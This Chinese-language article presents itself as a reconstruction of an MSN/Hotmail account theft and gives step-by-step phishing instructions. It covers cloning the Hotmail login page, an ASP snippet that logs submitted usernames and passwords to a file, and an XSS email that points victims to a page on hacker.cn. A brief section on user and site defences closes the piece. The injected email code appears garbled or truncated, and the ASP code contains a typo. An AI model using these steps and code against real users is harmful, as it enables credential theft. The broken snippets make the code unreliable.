今天我们来看一个具体的实例,并介绍如何避免遭受跨站攻击。
“跨站入侵”罪案还原:跨站入侵MSN盗号
我们根据网友提供的线索,对他的MSN账号的丢失进行罪案还原,并推理黑客是如何盗取他的MSN账号的。
第一步:黑客先要制作一个和Hotmail登录界面一样的伪造网页。登录Hotmail的官方网站,然后点击菜单栏中的“文件”,在弹出的下拉菜单中选择“另存为”,将网页保存下来。然后使用Dreamweaver 等网页编辑程序打开保存下来的网页(图1),找到输入用户名和密码的位置,加入下面这段用户名和密码的窃取代码:
图1
<%
bbsuser =request("bbsuser ")
bbspwd =request("bbspwd ")
set fs=server.CreateObject("Scripting.FileSystemObject")
//开启文件服务
set file=fs.OpenTaxtFile(server.MapPath("Hotmail.txt"),8,True)
//创建打开"Hotmail.txt"
file.writeline bbsuser +"—-"+ bbspwd
//将获得的用户名密码写入"Hotmail.txt"
file.close
set file=nothing
set fs=nothing
%>
然后将Hotmail原页面中的本地链接地址和相关参数修改,让图片都能够正常显示,最后将该网页另存为“index.asp”并上传到黑客自己的网站。
第二步:伪装页面做好了,接下来黑客就会制作跨站的Hotmail 电子邮件。一般黑客会选择可以直接在邮件中编辑HTML代码的软件,例如DreamMail。启动DreamMail后,新建一个支持POP3的电子信箱地址。
然后点击DreamMail菜单栏“查看”中的“切换到豪华版本”选项,又用DreamMail新建一封HTML空白邮件,在邮件的内容页面中点击右键,选择“编辑HTML源代码”,在弹出的HTML源代码编辑窗口中输入以下XSS跨站代码:
nop
function ok(){return true};window.onerror=ok
在这段代码中,黑客会根据自己伪装网页的地址和电子邮件更改“http://www.hacker.cn/test/index.asp?uid=miaodeyu@Hotmail.com” 链接地址。邮件编辑好之后点击“确定”即可就完成了跨站邮件是制作。
第三步:黑客会给自己的这封邮件起一个响亮诱人的名字,然后发送到受害者的MSN邮箱中,当受害者用Hotmail查看这封邮件后,会弹出Hotmail登录框诱骗你输入账号和密码登录。受害者警惕性弱,就会在该恶意页面中输入账号和密码,这些信息没有发送到微软的服务器上,而是悄悄地发送到黑客那里了(图2)。
图2
跨站防范方案
要防范XSS跨站攻击,普通用户除了不要点击陌生的来信和网络链接外,最好关闭浏览器的 JavaScript 功能。此外,还可以将IE的安全级别设置为最高,这样还可以防止Cookie被盗。网站管理者在制作网页时,要注意过滤用户输入的特殊字符,这样就可以避免大部分的XSS攻击了。如果网络管理者发现有针对自己网站的跨站攻击,就要及时对被跨站的程序进行修补。